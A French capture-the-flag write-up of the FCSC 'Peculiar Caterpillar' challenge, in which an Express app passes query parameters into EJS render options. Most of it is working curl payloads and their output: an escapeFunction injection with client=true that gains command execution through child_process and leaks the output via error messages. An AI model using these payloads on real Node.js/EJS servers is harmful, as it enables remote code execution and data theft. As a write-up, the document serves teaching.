Peculiar Caterpillar

Alors qu'elle se promenait au Pays des merveilles,
Alice tomba sur une chenille étrange.
À sa grande surprise, cette
dernière se vantait d'avoir construit son propre site web en utilisant Javascript.
Bien que le site semblait simple,
Alice ne pouvait s'empêcher de se demander s'il était vraiment sécurisé.

https://peculiar-caterpillar.france-cybersecurity-challenge.fr/

SHA256(peculiar-caterpillar-public.tar.gz) =
0aad816ba8eeff048785257f1bc157e83e59ec3246af0f9556ef7b6e39b56b6f.

Analyse

Le challenge nous offre une archive, contenant plusieurs fichiers intéressants. On apprend notamment que l’application est codée en Node.js et qu’elle utilise deux dépendances.

package.json

{
  "name": "express_hello",
  "version": "1.0.0",
  "main": "index.js",
  "license": "MIT",
  "dependencies": {
    "ejs": "^3.1.9",
    "express": "^4.18.2"
  }
}

Le code source de l’application permet lui de nous afficher un message en fonction de la clé name que nous lui envoyons dans l’URI.

require("express")().set("view engine", "ejs").use((req, res) => res.render("index", { name: "World", ...req.query })).listen(3000);
❯ curl http://127.0.0.1:3000/ | tail
      }
    </style>
  </head>

  <body>
    <main>
      <div id="bubble">Hello World</div>
    </main>
  </body>
</html>

❯ curl "http://127.0.0.1:3000/?name=Aether" | tail
      }
    </style>
  </head>

  <body>
    <main>
      <div id="bubble">Hello Aether</div>
    </main>
  </body>
</html>

Vulnérabilité

Une simple recherche permet de trouver un article qui explique comment réaliser une RCE sur la lib ejs (cf: https://eslam.io/posts/ejs-server-side-template-injection-rce/).

En réalisant les étapes une à une, je réussis à avoir exactement les mêmes comportements… C’est louche.

Me when the FCSC challenge seems to easy

J’arrive donc jusqu’à la fin de l’article, au moment de réaliser la fameuse RCE (cf! https://eslam.io/posts/ejs-server-side-template-injection-rce/#the-rce-exploit-).

J’étais un peu, comme, aller prochain challenge s’est réglé !

Badass

Puis…

❯ curl "http://127.0.0.1:3000/?name=Aether&settings\[view%20options\]\[outputFunctionName\]=x;process.mainModule.require('child_process').execSync('id');s"
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Error: outputFunctionName is not a valid JS identifier.<br> &nbsp; &nbsp;at Template.compile (/app/node_modules/ejs/lib/ejs.js:593:17)<br> &nbsp; &nbsp;at Object.compile (/app/node_modules/ejs/lib/ejs.js:398:16)<br> &nbsp; &nbsp;at handleCache (/app/node_modules/ejs/lib/ejs.js:235:18)<br> &nbsp; &nbsp;at tryHandleCache (/app/node_modules/ejs/lib/ejs.js:274:16)<br> &nbsp; &nbsp;at View.exports.renderFile [as engine] (/app/node_modules/ejs/lib/ejs.js:491:10)<br> &nbsp; &nbsp;at View.render (/app/node_modules/express/lib/view.js:135:8)<br> &nbsp; &nbsp;at tryRender (/app/node_modules/express/lib/application.js:657:10)<br> &nbsp; &nbsp;at Function.render (/app/node_modules/express/lib/application.js:609:3)<br> &nbsp; &nbsp;at ServerResponse.render (/app/node_modules/express/lib/response.js:1039:7)<br> &nbsp; &nbsp;at /app/index.js:1:70</pre>
</body>
</html>

On obtient l’erreur Error: outputFunctionName is not a valid JS identifier.. En continuant l’article, on apprend que la vulnérabilité a été trouvé avant la version v3.1.7. Ce qui ne nous arrange pas.

Il va falloir mettre les mains dans le code et regarder tout cela.

Analyse de code

On va donc récupérer la version 3.1.9 et l’analyser en local.

wget https://github.com/mde/ejs/archive/refs/tags/v3.1.9.zip

En reprenant la même partie de code vulnérable que dans l’article, on remarque qu’il y a maintenant une regex qui est appliqué pour éviter les injections de code.

ejs.js:68 var _JS_IDENTIFIER = /^[a-zA-Z_$][0-9a-zA-Z_$]*$/;

ejs.js:591 if (opts.outputFunctionName) {
ejs.js:592     if (!_JS_IDENTIFIER.test(opts.outputFunctionName)) {
ejs.js:593         throw new Error('outputFunctionName is not a valid JS identifier.');
ejs.js:594     }
ejs.js:595     prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
ejs.js:596 }

L’idée serait de trouver un argument qui n’a pas cette vérification afin de l’utilisé pour exploiter à nouveau une RCE.

RCE

En cherchant plus bas dans le code, on aperçoit des options qui ne sont pas vérifiées.

ejs.js:580 var escapeFn = opts.escapeFunction;

ejs.js:636 if (opts.client) {
ejs.js:637     src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
ejs.js:638     if (opts.compileDebug) {
ejs.js:639         src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
ejs.js:640     }
ejs.js:641 }

Parfait, on a trouvé dans le code des options qui ne sont pas checké par la condition.

Pour permettre de mieux comprendre comment réaliser notre exploit, nous pouvons passer debug=true dans l’URL afin d’avoir une sortie textuelle dans les logs de notre Docker.

❯ curl "http://127.0.0.1:3000/?name=Aether&debug=true&client=true&settings\[view%20options\]\[escapeFunction\]=AETHER"
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>ReferenceError: AETHER is not defined<br> &nbsp; &nbsp;at index (&quot;/app/views/index.ejs&quot;:26:24)<br> &nbsp; &nbsp;at tryHandleCache (/app/node_modules/ejs/lib/ejs.js:274:36)<br> &nbsp; &nbsp;at View.exports.renderFile [as engine] (/app/node_modules/ejs/lib/ejs.js:491:10)<br> &nbsp; &nbsp;at View.render (/app/node_modules/express/lib/view.js:135:8)<br> &nbsp; &nbsp;at tryRender (/app/node_modules/express/lib/application.js:657:10)<br> &nbsp; &nbsp;at Function.render (/app/node_modules/express/lib/application.js:609:3)<br> &nbsp; &nbsp;at ServerResponse.render (/app/node_modules/express/lib/response.js:1039:7)<br> &nbsp; &nbsp;at /app/index.js:1:70<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at trim_prefix (/app/node_modules/express/lib/router/index.js:328:13)</pre>
</body>
</html>

app_1  | escapeFn = escapeFn || AETHER;

Dans un fonctionnement normal et sans l’injection, cette ligne ressemble à cela:

app_1  | escapeFn = escapeFn || function (markup) {

Simple et efficace, on va créer une fonction vide puis réaliser une exécution de commande

payload:

 curl "http://127.0.0.1:3000/?name=Aether&debug=true&client=true&settings\[view%20options\]\[escapeFunction\]=function(markup)+\{\}%3bprocess.mainModule.require(%27child_process%27).execSync('id')

Le code interprété sera le suivant: app_1 | escapeFn = escapeFn || function(markup) {};process.mainModule.require('child_process').execSync('id');

Cependant, sans retour de commande, cela va être compliqué de récupérer le flag. Heureusement le File System est en read_only ce qui nous permet de générer des erreurs avec l’output de nos commandes.

 curl "http://127.0.0.1:3000/?name=Aether&debug=true&client=true&settings\[view%20options\]\[escapeFunction\]=function(markup)+\{\}%3bprocess.mainModule.require(%27child_process%27).execSync('id>/tmp/\$(id)')"
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Error: Command failed: id&gt;/tmp/$(id)
<br>/bin/sh: can&#39;t create /tmp/uid=405(guest) gid=100(users) groups=100(users): Read-only file system

Flag

Il ne nous reste plus qu’à récupérer le flag en remote:

 curl "https://peculiar-caterpillar.france-cybersecurity-challenge.fr/?name=Aether&debug=true&client=true&settings\[view%20options\]\[escapeFunction\]=function(markup)+\{\}%3bprocess.mainModule.require(%27child_process%27).execSync('id>/tmp/\$(ls+-lah+/app)')"
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Error: Command failed: id&gt;/tmp/$(ls -lah /app)
<br>/bin/sh: can&#39;t create /tmp/total 52K &nbsp; &nbsp;
<br>drwxr-xr-x &nbsp; &nbsp;1 root &nbsp; &nbsp; root &nbsp; &nbsp; &nbsp; &nbsp;4.0K Apr 27 13:00 .
<br>drwxr-xr-x &nbsp; &nbsp;1 root &nbsp; &nbsp; root &nbsp; &nbsp; &nbsp; &nbsp;4.0K Apr 27 13:01 ..
<br>-rw-r--r-- &nbsp; &nbsp;1 root &nbsp; &nbsp; root &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;71 Apr 27 13:00 flag-a49d3e9518ee659fa932482818e7eeeb.txt

 curl "https://peculiar-caterpillar.france-cybersecurity-challenge.fr/?name=Aether&debug=true&client=true&settings\[view%20options\]\[escapeFunction\]=function(markup)+\{\}%3bprocess.mainModule.require(%27child_process%27).execSync('id>/tmp/\$(cat+/app/flag-a49d3e9518ee659fa932482818e7eeeb.txt)')"
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Error: Command failed: id&gt;/tmp/$(cat /app/flag-a49d3e9518ee659fa932482818e7eeeb.txt)
<br>/bin/sh: can&#39;t create /tmp/FCSC{232448f3783105b36ab9d5f90754417a4f17931b4bdeeb6f301af2db0088cef6}

flag: FCSC{232448f3783105b36ab9d5f90754417a4f17931b4bdeeb6f301af2db0088cef6}